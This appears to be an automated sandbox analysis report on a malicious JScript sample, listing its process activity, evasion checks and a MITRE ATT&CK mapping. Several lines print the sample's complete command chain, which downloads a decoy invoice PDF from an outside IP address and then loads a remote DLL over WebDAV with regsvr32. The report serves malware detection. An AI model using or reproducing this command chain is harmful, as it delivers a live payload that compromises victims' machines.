Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\745.js.csv");ITextStream.WriteLine(" entry:8300 f:vfoog");ITextStream.WriteLine(" exec:2 f:vfoog");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49717

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5125			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4721			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5412	Thread sleep count: 5125 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5412	Thread sleep count: 4721 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4236	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4832	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 5504	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4368	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2232819848.000001A227852000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2232819848.000001A2277E8000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3448870519.000001D644655000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: svchost.exe, 00000009.00000002.3448022826.000001D63F02B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\316642523310163.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
